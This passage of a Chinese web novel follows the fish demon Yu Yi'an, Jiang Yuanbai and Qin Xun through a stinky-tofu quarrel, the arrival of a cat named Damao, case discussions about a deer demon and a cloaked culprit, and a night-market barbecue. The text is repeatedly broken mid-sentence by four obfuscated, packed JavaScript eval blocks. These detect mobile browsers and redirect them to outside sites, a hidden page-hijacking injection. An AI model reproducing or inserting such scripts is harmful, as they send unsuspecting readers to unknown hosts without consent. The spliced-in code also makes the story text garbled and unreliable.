他嫌弃地捂住鼻子,瓮声瓮气地阴阳怪气:“要不是我刚刚在里面,我都怀疑厕所是不是炸了。” 余一安不解地抬起头,道:“很臭吗?” 她说着用筷子夹起来吃了一块,嚼吧嚼吧道:“我感觉很香诶。” 江元白死亡凝视,咬牙切齿,恶狠狠道:“你赶紧把这些臭东西解决了,下次再让我见到你在我家里整这些东西我就把你扔出去。” 余一安这才发现江元白好像不是很喜欢她的臭豆腐。 “唔,好吧。” 那她下次在自己家里吃,反正她已经学会怎么点外卖了。 以后就可以随时想吃什么就吃什么。 余一安美滋滋地想着。 秦巡一开始闻到这个味道就过去把门和窗打开了,这时候走过来道:“分我一份呗。” 能在江元白家里吃臭豆腐的经历可不多得,他可得好好体验一番。 心情并不是很美好的江元白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376607|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言面色又黑了一瞬,他总感觉自己家已经入味了。 他等会一定要叫保洁公司明天来给他家做一次大扫除。 “算了,我先进卧室,等会没味儿了你们叫我。” 他感觉自己像是身处于塞满了一个月没洗的臭袜子的下水道里面,再多呆一秒就要窒息身亡了。 “好哒!” 余一安摆摆手头也不抬地应了声。 江元白顿时越发郁闷,转身就回了房间。 “哈哈哈,你算是我第一次见到让江元白吃瘪的人了。” “要是我在他家吃臭豆腐,估计这会已经连人带盒就剩一斤了。” 秦巡一边吃一边乐不可支。 余一安不理解,歪着头问道:“为什么?” “我感觉白白很好的诶。” 又给她饭吃,又帮她买手机,而且连她一开始偷吃了他的东西都不计较。 她觉得江元白是人类社会里面最好的人类了。 秦巡闻言古怪地看了她一眼,随后像是想起了什么嘀咕道:“可能因为你是妖怪吧。” “嗯?”余一安不解,抬起头看他。 秦巡嘿嘿一笑,摆手道:“没什么没什么,你快吃。” “好吧。” 余一安闻言歪歪头,没想明白也不在意,于是又把头埋了下去。 这个臭豆腐好好吃,她决定她晚上还要吃。 就在余一安终于快把七份臭豆腐解决的时候,一道声音突兀地响了起来。 “怎么没关门?” “江小白你家厕所炸了是吧?!!怎么那么——你是谁?” 声音戛然而止。 余一安抬头看过去,就看到一个抱着一只白色猫咪的粉头发男生,站在门口瞪大眼愣愣地盯着她。 她眨着眼想了想——她记得这个人。 就是他把她的本体带回来给江元白的。 她眉眼弯弯,非常自然地打了个招呼。 “你好呀,我是余一安。” “剩余的一,一个的一,平安的安。” “你可以叫我小鱼哦。” 说完她就把最后一块臭豆腐吃进了嘴里。 “?” 贺守见她这么自然的样子,猜测可能对方是江元白的客人。 顿时抹了把头发,笑嘻嘻地打了个招呼:“你好,我是贺守。” 说着他鼻尖轻嗅,嘀咕道:“什么味道这么臭?” 他非常自来熟地问道:“江元白那家伙不会是家里厕所炸了,自己跑出去了吧?” “啊?你说这个吗?” 余一安非常无辜地指了指自己已经空空如也的外卖盒。 “这是啥?” 贺守见状,脑子突然一怔,联想到屋子里的味道,忽然想到了什么。 他瞳孔一震,盯着余一安一脸不可置信道:“你竟然在江元白那个死洁癖家里吃臭豆腐?” 秦巡在一旁没忍住笑出了声。 “你怎么在这?” 听到声音,贺守看过去,才发现坐在另一边的秦巡。 这下秦巡笑不出来了,幽幽道:“我的存在感在你那里这么低的吗?” “你自己坐那么偏。” 贺守毫不客气地翻了个白眼。 “江小白呢?”他问秦巡。 还没等秦巡说话,一道声音从他们身后响了起来。 “吵死了。” 19. 撸猫猫的妖怪 贺守被吓了一跳,转过身翻了个白眼道:“你干嘛呢?走路咋没动静的。” 江元白压抑住想给他踢出去的欲望,不情不愿地瞧他:“啥事?” 这个家伙只要找他准没好事。 贺守这才想起来自己的目的,清秀的娃娃脸上顿时堆满讨好的笑容。 江元白见状顿时眉心一跳,心中警铃大作,总感觉对方没什么好事。 果然,下一秒就看到贺守摸着粉毛嘿嘿笑道:“那个,我奶最近不是病了吗。” “我接下来十多天估计要回去陪我奶,”贺守露出一口白牙,“但是大毛不肯去宠物寄养,我想……” “想都别想!” 还没等贺守说完,江元白就十分无情地拒绝了。 “江小白……”贺守开始转换成软磨硬泡模式。 余一安在一旁,瞪大了眼,像个拨浪鼓一样转着脑袋,一会看看这个,一会看看那个。 秦巡倒是见多不怪,头也不抬地继续处理着自己的文件。 不到三分钟后,在贺守的死缠烂打下,江元白终于松口:“就这一次。” 话一出口他心里就后悔了。 “绝对不会有下次!”贺守一脸严肃,举手发誓,结果下一秒没忍住咧开了嘴。 江元白脸色越发难看,已经不想和他说话了。 “那我先走了,那大毛就先放在你这了!” 贺守将手中一直抱着的大白猫放了下来,一直安安静静的大毛落在地上也不叫,自顾自找了个地方坐下,眯着眼优雅地舔着爪子。 见大毛没有特别的反应,贺守松了口气,嘱咐了一句“接下来几天麻烦你了”后就打开门一溜烟跑了。 其实要不是大毛实在没地方去,他也不想放在江元白这里,毕竟以江元白的洁癖实在不欢迎任何有毛的宠物。 希望江元白在他回来前人还是好的。 见到自己的主人离开,大毛也没有任何反应,依旧安安静静地舔着着自己的毛。 余一安好奇地凑到了大毛身边,伸出手想要摸摸对方那看起来就柔软顺滑的长毛。 “别!” 秦巡还没来得及阻止,就眼睁睁看到大毛一脸享受地蹭了蹭余一安的掌心。 甚至他还听到了咕噜咕噜的声音。 “?” 这是他认识的那个摸一下就挠他两下的大毛吗? 不过转念想到猫喜欢吃鱼,他又释然了。 不过普通的猫怎么知道余一安是条鱼,难道对方身上有什么只有猫才能闻到的鱼腥味? 秦巡犹自猜测着,江元白看着眼前的一幕,眼神中若有所思。 余一安倒是很开心,作为一个鱼妖,她对于猫却是没什么感觉。 而且对方毛绒绒的模样实在是太合她的心意。 不过虽然大毛很亲近她,但是依旧没有发出除了“咕噜咕噜”以外的任何声音。 “大毛不爱出声。” 像是看出了余一安的疑惑,江元白解释道。 “认识它这么久我还没见它叫过。” 秦巡在一旁补充道。 余一安点点头,不知道想到了什么,眼睛一亮,下一秒就开始兴致勃勃地追着教大毛说话。 一时间整个屋子都充满了她“喵喵喵”的声音。 江元白听着她的声音有些无语,秦巡倒是老神神在在地继续工作。 还好最后大毛不堪其扰,伸了个懒腰,四脚一蹬跳上了柜子,找了个舒服的姿势开始打盹,长长的尾巴一晃一晃的。 余一安见状只好意犹未尽地反复盯着它看。 江元白轻不可闻地松了口气。 他走到秦巡一边坐下,和对方讲了他们今天一行的收获。 “那个羊妖给你们说了什么?” 秦巡听完后,探出头问道。 “他提供了鹿妖的踪迹。” 江元白回忆着。 他们离开的时候,羊妖忽然叫住了他们,说了鹿妖在刚下山找过他的事。 原来半年前,鹿妖和虎妖吵架分手了,一气之下就下了山。 但是她身上什么都没有,手续也没办,下山后才知道在人类社会没有身份证明干什么都不行。 可是让她就这样回去她又拉不下脸,于是按照以前羊妖留下的地址找了过去。 知道了她的情况后,羊妖托自己的一个客户给鹿妖介绍了个便利店售货员的工作。 秦巡听完咋舌:“原来妖界那边也有那么多爱恨情仇啊。” 江元白不动声色地瞥了他一眼。 “所以他们因为什么分手的?”秦巡一脸八卦。 江元白抿了抿唇,没说话,只是表情看上去有些怪异。 “?” 秦巡一愣,刚想开口,一旁终于放弃教大毛说话的余一安凑了过来。 “我知道!” 她举手嚷嚷:“因为虎大哥拉屎不埋,太臭了!” 她皱皱鼻子,一脸的嫌弃。 “鹿妖姐姐说了好多次,虎大哥都不听。” 秦巡不可置信地转头看向江元白,看到对方点了下头,这说明这件事是真的。 “这理由也太……”奇葩了吧。 秦巡在心里吐槽。 “咳……”江元白轻咳两声,他确实也没想到居然是这么个理由。 只能说妖族过于接地气了。 说回正事,秦巡正正神色道:“那个鹿妖现在还在便利店工作吗?” 江元白眼神微凝,摇摇头:“我们要了电话打过去,但是对面告诉我们鹿妖已经辞职快两个月了。” 所以线索又断了。 秦巡叹口气,在记录本上刷刷刷地写着,抬起头刚想说什么,他的电话铃声就响了起来。 他看了眼来电人,是会长,于是开了外放,直接当着江元白的面就接了电话。 “秦巡?” 苍阳华的声音从手机里传了出来,余一安好奇地坐在一边打量着。 她心道:原来这就是打电话啊,好厉害! 也不知道大祭司那边的信号接收器什么时候做出来。 昨晚上的时候温再玄给余一安寄了信,说是联系了人类那边在专门研究可以穿透结界信号的设备。 到时候妖族和人类两边就可以直接联系,不需要再用信鸟传信了。 秦巡随意地扫了余一安一眼,径直回答道:“是我。” “会长,有什么事吗?” 那边苍阳华也没有磨叽,直接说明了自己的目的。 “妖族那边刚刚来信了,说是抓住了打开结界的妖。” 闻言,秦巡一愣,看了江元白一眼,顿了顿道:“是一个黄鼠狼妖吗? “对——你们也查到了?” 秦巡给了肯定回答后,接着开口问道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15376608|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个黄鼠狼怎么说?” “是一个妖。” “什么妖?”江元白追问。 “不知道,说是戴着斗篷遮得严严实实,他也不认识。” “不认识就直接做交易?”秦巡撇撇嘴。 江元白没管他,继续问道:“确定对方是个妖吗?” “不太有其他可能。” “不过妖族那边的消息说,那个穿斗篷的妖怪身材十分高大魁梧。”苍阳华补充道 “声音呢?”江元白垂下眼,遮住了眼中的沉思。 “不知道声音,那个妖怪没和黄鼠狼说过话。” “没说过话他们怎么交流?”秦巡感觉有些奇怪。 “写字。”苍阳华停顿了下道。 “字迹有保留吗?”江元白问道。 电话那头沉吟了片刻才开口。 “有,不过妖族那边没有寄过来,大概明天可以拿到。” 江元白点点头,随即反应过来对方看不到,才缓声道:“知道了。” “会长,还有别的吗?”秦巡的声音。 “还有一件事。” 不等他们问,苍阳华就接着开口了。 “之前树林的那个人,我去和那几个古武世家交流了下,那边已经开始调查了。” “现在就只需要等结果了。” 说着苍阳华叹了口气,没想到一个妖怪失踪案也能牵扯出这么多势力。 但是不管怎么说,起码得给妖族那边一个交代。 借着这个机会,秦巡给苍阳华交代了下他们这边的调查情况。 “目前我们主要的重点在于找到那个鹿妖。”他总结道。 苍阳华顿了会,心中差不多清楚后才开口:“你们是想找到鹿妖后暗中监控?” “对,”江元白对他解释道:“幕后人也许还有可能对下一个妖怪动手。” “我们的线索太少,对方藏的太好了。” “如果能够找到下一个最有可能的受害人,我们或许就能抓到他。” 他给出了自己的想法。 苍阳华思考片刻,回答他:“也行,你们看着办吧。” “对了,麻烦先不要和妖族那边透露这件事。”江元白忽然开口。 余一安和秦巡同时疑惑地看向他,不过下一秒秦巡脸上的表情就转为了若有所思的样子。 电话那头回答得很快,苍阳华没有问为什么,直接一口答应了。 挂断电话后,秦巡抬眼看向江元白,面带犹疑:“你是担心妖族那边也有内应?” “对,”江元白点点头,解释道,“毕竟妖族那边的情况那边我们也不了解,还是小心为妙。” “不过很有可能那边其实已经知道了。” 毕竟他们的调查和妖族那边息息相关,连名单都是那边拿的。 有些懵逼的余一安这才知道江元白为什么要特意交代苍阳华,她眨巴眨巴眼,好奇道:“大祭司也不能说吗?” 万一她下次给大祭司回信的时候不小心说漏嘴了怎么办? 江元白扫了她一眼,考虑了下:“以防万一,这件事尽量保密。” “最好注意一下。”他提醒余一安。 “哦哦!”余一安用力点着头,努力要把这件事记在脑子里。 江元白不着痕迹地看了她一眼,才继续开口: “好了,现在来说下一件事。” 20. 吃烧烤的妖怪 "什么?"秦巡震惊地望着他们,“你们把人家门砸坏了?!” “……” 江元白磨了磨牙。 他只想到了余一安敲门时候的声音又大又响又磨人。 谁能知道这条傻鱼还是个大力士呢? 余一安不好意思挠挠头,弱弱地辩解道:“是那个门不太经敲……” 顶着江元白的目光,她“刷”地举起手,义正言辞:“我下次一定会小心的!” 秦巡没忍住乐出了声,出个任务把目标人家的门砸坏的事他还是第一次见。 “能报销吗?”这是江元白唯一关心的问题。 要是不能报销他今晚就要把秦巡的头当球踢,让他笑得那么嗨。 “我今晚去问问会长,这件事能不能报销哈哈哈哈!” “毕竟这实在是太离谱了——” 笑了半天,终于在江元白要吃人的目光下,秦巡抹了抹眼角挤出来的眼泪:“就算不能报销的话,我自掏腰包补给你行了吧。” 毕竟全协会上下也就只有他不怎么缺钱了。 江元白闻言翻了个好看的白眼。 万恶的有钱人。 余一安倒是有想法,一脸跃跃欲试:“我赔也可以的,我有钱的。” “不用,”江元白没等秦巡说话就阻止她,“不是你的问题,不用你赔钱。” 毕竟是他做的决定,出了意外也是他的责任。 “好吧。”余一安瘪瘪嘴,一脸不是很乐意的样子。 在她看来,就算是赔钱那也是一件很新鲜的事,毕竟她还没赔过钱呢。 江元白有些无语,不让你花钱你还不愿意了。 秦巡眯眼笑道:“行了,到我说了。” 由于协会人手不够,他今天去临时去了协会协助那边的工作。 不得不说,以协会那点三瓜俩枣,那么强的工作量,要不是那些成员真有那么点热爱,绝对早就辞职了。 “那个酒吧老板的背景信息已经调查得差不多了。” “怎样?” “很正常。”秦巡表情有些苦恼。 正常就意味着他们没有找到任何有用的线索。 “安排人上门了吗?” “已经派人去了,”秦巡回答他的问题,“不过大概晚点才能有结果。” 江元白点点头,表示知道了。 “为什么又要晚点?”余一安有些纳闷。 “哎,”秦巡苦闷地叹了声:“没人啊……” 其实在这种情况下,他们这个效率已经算比较快了。 “账单流向调查的怎么样?”江元白提醒道。 “哦哦,那个,”秦巡翻着自己的记录本,“我看看……” “追查银行的流水我们需要银行那边的协助,银行那方现在还没给出回应呢。” “这么久?” 江元白莹润的指尖敲了敲桌子,沉吟片刻,刚想说什么,就看到秦巡看了眼手机后,面色忽然严肃了起来。 没等他询问出口,秦巡就自己就自己说了。 “银行那边的资金流向报告出来了。” 他的声音带着点沉重,看样子结果并不乐观。 “?” 余一安和江元白齐齐抬头,目光聚焦在他身上。 “资金流向了海外账户,查不出来。”他摇摇头,叹口气:“这条线索也断了。” “这妖怪这么狡猾,还会这种操作。”秦巡纳闷不解。 “大概后面有人协助。” 江元白思考着开口:“这个妖怪估计常年浸润人间,非常熟悉人类的社会规则。” “但是妖族那边给出的还在人界的妖怪不是就剩那几个?” 秦巡提出不解。 而且每一个妖怪江元白他们都去调查过,并没有什么可疑的地方。 “是这样没错,”江元白解释道:“但是若是有人在背后协助的话,给一个妖怪办一个身份证这种事,不过是动动嘴皮子的事。” “还能这样的吗?”余一安惊奇道。 秦巡试探着开口:“要不我联系妖族统计一下具体还有哪些妖族不在山上。” “我估计这件事不太好办。”江元白给出了不太乐观的看法。 在他看来,妖族的组织比妖怪协会这边还要草率一点。 他猜测妖族那边恐怕连山上到底有多少妖都不清楚。 “而且还有一点,”江元白补充道:“不是所有的妖怪都在小鹿儿山上。” 小鹿儿山只能说是妖族的大本营,绝大多数的妖族聚集都在那里。 但是也会有一些野生的妖怪游离在其他地方。 每年社会上某些地方都会闹出一些妖怪闹出来的乌龙,大多数都是妖怪协会去处理的。 秦巡闻言叹了口气:“怎么越来越复杂了。” 余一安也学着他装模作样地叹了口气。 江元白垂下眼,长长的睫毛遮住了眼中的思绪。 片刻,他抬眼道:“秦巡,你还是需要去联系一下妖族。” “嗯?” “万一有收获呢?”他露出一抹笑容,“那个妖怪要么是在山上有内应,要么就是他在上面呆过一段时间。” “不然他得不到名单。” “万一是他和那个斗篷妖交易的呢?”秦巡不解。 “那他们也接触过。”江元白语气淡淡。 “最关键的是,这样的大规模搜查也许会让他们乱了阵脚。” “那我今晚就联系那边?”秦巡对此持怀疑态度。 江元白轻轻颔首,算是默认了。 “那我要做什么呀?”余一安发现自己好像就自己没什么事做,于是举手问道。 秦巡闻言,嘿嘿一笑:“你负责保护我们。” 他现在已经充分地认识到了余一安的武力值。 江元白点头,表示同意他的说法。 心中却想着别给他找事就算谢天谢地了。 不过认真想想,其实余一安除了一开始麻烦了点,其余时间还是非常配合的。 余一安听秦巡这么说,露出个大大的笑容,她像小鸡啄米似的点着头认真答道:“嗯嗯嗯,我肯定会保护好你们的。” 听到这句话,江元白眼神忽然恍惚了一瞬。 下一秒就被对方叽叽喳喳的声音拉回到了现实。 “那我们什么时候去吃饭啊?”她双眼亮晶晶的,一脸期待地开口,“我饿了。” 她叽里呱啦地说着想吃的东西,秦巡瞬间感觉被她说饿了。 他看向江元白,道:“还有什么事吗?没事先去吃饭吧。” “也行。”江元白视线不经意地扫过余一安活泼欢快的样子,不由得感觉心中也轻松了几许。 …… 因为时间有点晚了,大多数饭店都已经关了门,于是他们去了夜市。 城市的夜晚大多数是安宁而静谧的,只除了夜市这种地方。 闪烁的霓虹灯,涌动的人潮,油烟味和各种食物的香味混在一起,夹杂着摊主的吆喝声、客人的谈笑声,所有的一切交织成夜晚最鲜活的模样。 余一安第一次见到夜市,踮着脚尖东张西望,眼睛亮得像星星,每路过一个摊位都要“哇”地惊叹出声。 每一个路过的人都忍不住侧过脸看她一眼。 走在她旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15379278|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的江元白本来因为现场太嘈杂心情不妙,这下只想装作不认识她,实在太丢脸了。 秦巡倒是乐呵呵地问道:“想吃什么?” “今晚我请客。”他摆摆手,十分大气地开口。 “看你们。”江元白眼睛微微一亮,非常从善如流地开口,只要不让他花钱,让他吃草都行。 “我我我!我什么都想吃!” 余一安脑袋左顾右盼的,心里数着刚刚一路上路过的食物,馋的口水直流。 秦巡只好无奈道:“算了,去吃烧烤吧。” “好呀好呀!”余一安积极地附和道。 她也不知道烧烤是什么,但是只要是吃的她就十分开心。 秦巡因为住在附近,所以常来这里。 考虑到江元白,他没有去常去的那家烧烤摊,另外找了个人数没那么多的摊位。 “几位帅哥美女,来点什么?” 摊主动作大开大合,手上的烤串滋滋冒油,同时还不忘抬起头及时招呼着他们。 余一安看着那时不时蹿起的火舌,双眼中露出惊奇的神色。 “好厉害!” 她凑到江元白身边感叹了一句。 江元白本来心中有些不适,听到她这句话,心中颇为不屑。 这算什么? 他大学那会为了挣钱可是啥都干过,别说是烧烤,连酒店的保洁员他都做过一段时间。 不过他也不会和余一安说这些。 没必要也没意思。 那边的秦巡拿了菜单,带着他们坐到了偏僻一点的地方。 “随便点。”他大手一挥,将菜单放到了桌子上。 “我先来!”余一安立马开口。 江元白正在用纸巾擦着凳子,无所谓道:“你先点吧。” 于是她拿起笔,一边嘴里叽里咕噜说些什么,一边拿着笔菜单上勾勾画画了起来。 江元白有些好奇她说了什么,竖起耳朵听了两句。 于是他就听到了“这个看上去好好吃的样子”“那个好像也不错诶”“算了都要吧”类似的这些话。 他顿时有些无语。 也是,这条吃货鱼除了吃还能说些什么。 很快,没怎么纠结的余一安就把菜单递了回去。 “我点好了!”她语气欢快道。 秦巡拿过菜单瞥了眼,顿时眉心一跳。 好家伙,这么多,十个人都吃不完吧。 还好他有点钱,不然怎么经得起这么点啊。 接下来两人接过菜单点了自己爱吃的东西。 秦巡把菜单拿给老板,老板上下看了两眼,动作一顿。 他转过头反复确认他们只有三个人后,面上带了些警惕:“我们这里吃不完不能退款的。” 秦巡:“……” “放心老板,吃不完我们打包回去吃。” 他及时安抚了老板的情绪。 “那你们先付钱。”老板还是不太相信。 “行吧。” 秦巡无奈一笑,拿出手机扫码付了款。 一旁闲不住跟着秦巡过去的余一安见状,双眼一亮,顿时把秦巡的动作都记在了心里。 付钱后等了一段时间,他们点的烤串陆陆续续的上来,摆满了一整张桌子。 最后摆不下,还从旁边拼了两张桌子过来。 江元白以手扶额,总感觉他们这桌变成了众人的关注焦点。 他看着这一大桌子,脱口而出:“余一安你要是去参加大胃王比赛,估计没人赢得了你。” “什么大胃王比赛?” 下一秒他就看到了余一安蠢蠢欲动、跃跃欲试的眼神。 21. 埋头苦吃的妖怪 “大胃王比赛就是一群人比赛谁吃得多,” 秦巡拿起一把五花肉串,想了想,“吃的最多的那个人就是大胃王。” “以后有空的时候带你去玩玩。” 他咬下一块油滋滋的五花肉,随意地开口。 “我要去!” 余一安嘴里还塞着肉块,腮帮子鼓鼓的,听到秦巡的话后含混不清地嚷嚷着。 她双眼亮晶晶的,满是向往。 江元白对他们的对话内容充耳不闻,自顾自地吃着烤串。 他修长的手指握着干净的木签,慢条斯理地咀嚼着,油光还未沾染到唇角,就被擦拭得一干二净。 不过余一安并没有忽略他。 “白白,你也去吗?” 她兴奋地凑了过来,嘴角边上还能看到亮晶晶的油渍。 江元白不着痕迹地扫了眼她嘴边的油渍。 他将嘴里的东西咽下去,擦干净嘴后才不紧不慢地开口:“不去。” “为什么?”余一安闻言顿时小脸一垮,呆毛都耷拉了下来。 江元白不为所动,冷酷无情道:“没钱,不想去。” “那我给你钱!我有好多钱!”余一安眼睛顿时一亮。 听到这里,江元白有些心动,但还是有些纳闷:“为什么一定要我去?” 余一安挠挠头,嘿嘿道:“我感觉看着你的时候,我吃饭的速度好像会更快一些。” “到时候有你的话,我肯定能够拿下第一名。” 她单手握拳,眼神带着坚定,像是充满了必胜的决心。 江元白:“……” 他该夸奖一下这条鱼的斗志满满吗? 秦巡在一边嘎嘎直乐:“难道这就是传说中的秀色可餐吗?” 江元白没好气地扫了他一眼:“这么多吃的都堵不住你的嘴。” “你什么时候去了再叫我。”这是对余一安说的。 说这句话的时候江元白面上十分淡定,但实际上眼神有些飘忽,不知道该看哪里。 反正有钱不赚是王八蛋。 他心里这样想着。 “嗯嗯嗯!” 余一安点着头,说话的时候像只小松鼠一样飞快地啃着肉串,油亮亮的肉汁沾满了嘴角。 夜色渐深,烤架上的烟气稀薄了。 食客们说笑着散去,空桌上只余几根竹签和空空的啤酒瓶,晚风卷着孜然的香气缓缓飘远。 周围的人群也渐渐稀少,整个烧烤摊上只剩下了余一安他们和离他们较远的一个男生。 江元白和秦巡早已经吃饱了,现在就坐在那里等余一安。 秦巡拿着杯啤酒有一口没一口地喝着,江元白则拿着手机不知道在看些什么,屏幕的光芒反射在他的脸上, 他的眉心浅浅皱起,看上去似有些不愉。 不过没有人注意到这点。 有些无聊的秦巡四处张望着,忽然就看到那边那个男生似乎和摊主起了争执。 他颇感兴趣地竖起耳朵听了下,然而隔得有些远,声音顺着晚风传过来,隐隐约约的并不是很清晰。 秦巡倒也没有失望,依旧饶有兴趣地注意着那边的动静。 摊主的态度看上去有些强势,而那个男生大概是在和摊主好声好气地商讨着些什么。 大概过了好几分钟,他们似乎是谈拢了,摊主回到了自己的位置上,而男生则往他们这个方向走了过来。 秦巡挑了挑眉,视线装作不经意似的看向了手中的啤酒杯。 “你们好。” 没过多久,青涩的声音从旁边响起。 余一安从食物中抬起头来,好奇地望过去,就看到说话的是一个大概十七八岁的男生,脸上带着几分不好意思的扭捏。 "有什么事吗?"秦巡先开口。 见有人回应他,男生的表情自然了些。 “那个……我手机没电了,你们能借我一点吗?” “我回到家一定还给你们!” 对方信誓旦旦道。 听到这里,江元白终于抬起了头,淡淡道:“我们怎么相信你?” 男生像是有些纠结,憋了半天说了句:“华夏人不骗华夏人。” 江元白:“……” 是他现在跟不上年轻人的思维了吗。 秦巡没忍住“噗嗤”一下笑出了声。 他看着男生有些涨红了的脸,终于止住了笑声:“你要借多少钱?” 江元白不动声色地瞥了他一眼,但是没有作声。 男生闻言睁大了眼,有些激动地连声感谢:“谢谢谢谢,谢谢你大哥!” “一百块就够了!” “要是没有你们借钱的话我今晚就回不了家了。” 把钱给了摊主的男生对他们如此说道。 “老板要把你留下来刷盘子?”秦巡好奇道。 对于自己的恩人,男生挠着头,倒也没有不好意思:“也不是,老板说不给钱就要叫警察叔叔把我抓走。” “我要是进去了,我爷爷非得扒我一层皮。” 说着,他不知道想起了什么,忍不住打了个寒战。 “警察叔叔是什么?”一直关注着他们的余一安问道。 男生闻言,有些惊诧地看向她。 秦巡连忙解释:“她吃太多了,把脑子撑着了。” “对了,你到时候怎么把钱还给我?” 他赶紧转移话题,以防对方误以为他拐带良家少女。 余一安闻言皱了皱鼻子,有些不满地鼓起了脸颊。 男生倒没多想,顺着他的问题回答:“要不你把你的联系方式给我,我回去加你。” 似乎是觉得自己的话很像一个骗子,他连忙补充道:“我叫黄枫,我发誓我绝对说的都是真的。” “我要是骗你们,我就天打雷劈,不得好——” “行了行了,”对方的毒誓还没发完,就被秦巡阻止了,“信你行了吧。” 这么点钱让一个小孩发这种誓也没必要,就算对方真的骗了他,那就当他倒霉。 再说,他钱多让人骗骗怎么了? 只是被人骗了点钱而已,又不是去创业。 秦巡的眼神微暗,不知道想到了什么。 很快,男生借了纸笔,“刷刷刷”地写了自己的联系方式,递给了秦巡。 他再次感激对方:“真的很谢谢你们!” 秦巡心道:谢我就行了,谢他俩干啥? 不过面上却是十分和谐:“小事小事,下次可得注意了。” 男生忙不迭地点头。 男生离开后,憋了半天的余一安终于忍不住问道:“所以警察叔叔是什么啊?” 这下身边都是自己人的秦巡耐心给她解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15385488|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他组织着语言,好让余一安听懂:“就是人类社会里面管事儿的人。” “谁有困难,谁捣乱都归他们管。” “他们一般穿着制服戴大盖帽,”秦巡想了想道,“你要是在外面被人欺负了的话也可以找他们。” 余一安想了想,似懂非懂地点点头。 那就是类似大祭司一样的人。 在小鹿儿山上,大祭司就专门负责解决大家的纠纷和提出来的问题。 而且她以前被人欺负了,也是去找大祭司帮她主持公道的。 虽然一般来说都是她先招惹对面,最后对面叫了人几个打一个,她打不过了才去找的温再玄。 可惜温再玄往往都会把他们两边都一起罚了。 接下来的半个小时内,秦巡的脸上都是乐呵呵的。 江元白有些看不过眼:“知道的你是开心,不知道的以为你牙疼呢。” 他总感觉秦巡就像是那种老了会被卖保健品的那类人。 “小爷我乐意!” 秦巡白了他一眼:“我做了好事笑笑怎么了?” 江元白轻哼一声没理他了。 秦巡继续自顾自地乐着,嘴上还哼起了歌,时不时喝一口啤酒,好不惬意。 过了会,余一安终于把所有的烤串都解决掉了。 她抬起头,用自己油滋滋的嘴巴道:“我吃完啦!” “那我们回去吧。” 秦巡有些迫不及待,他总感觉附近有蚊子,但是看他们两个毫无感觉的样子,又有些怀疑自己的判断。 这下终于能走了,他暗自松了口气。 江元白不经意地看了眼余一安的嘴角,有些看不过眼。 他扯了张纸递给对方:“擦一下。” "嗯?"余一安有些疑惑地盯着他。 “擦一下嘴。”江元白淡淡解释。 “哦哦!”余一安接过纸胡乱地擦了擦。 江元白看着她的动作,无语了半天,最后只好把视线转到一边,眼不见为净。 秦巡没注意他们的动作,催促道:“走了走了,回去了! 他是真觉得这地方有蚊子,他手上都好几个包了。 余一安和江元白闻言赶紧跟着他一起离开。 路灯下,三人的影子拖得长长的,只余烟火明灭,月光漫漶。 …… 回到家,余一安拿起手机,本来她想点外卖的,可惜晚上确实吃的有点多。 她感觉肚子里好像放不下了。 这应该是余一安下山以来第一次真正意义上的吃饱了。 她满足地揉了揉圆鼓鼓的肚子,靠在沙发上,两只脚一翘一翘的,舒服极了。 余一安慢悠悠地点开手机,就看到绿泡泡上显示了一个显眼的红点。 她先习惯性地看了下江元白的信息框,对方给她发了条消息。 点进去,这次江元白没有再回她一个光秃秃的问号,而是变成了一个圆溜溜的句号。 “?” 余一安瞪大眼,也叭叭叭地发了个句号回去。 她想,这就是大祭司说的“以其人之道还治其人之身”吧。 想到这里,她又乐呵了起来。 正想退出去,余一安就发现列表里面竟然还有一个小红点。 她眼睛一亮。 许漠终于发消息了。 22. 吃汤圆的妖怪 翌日早晨,江元白开门的时候就看到了一条有些萎靡不振的小妖怪。 他略一挑眉,但是没有说什么,让对方记得把门关上就坐到了窗边的书桌上。 重新拿起笔在平板上勾勾画画着。 书桌旁的窗台上还趴着正懒洋洋隔着玻璃晒太阳的大毛。 听到关门的声音,江元白没有抬头,声音却传了过来:“厨房里面有吃的。” 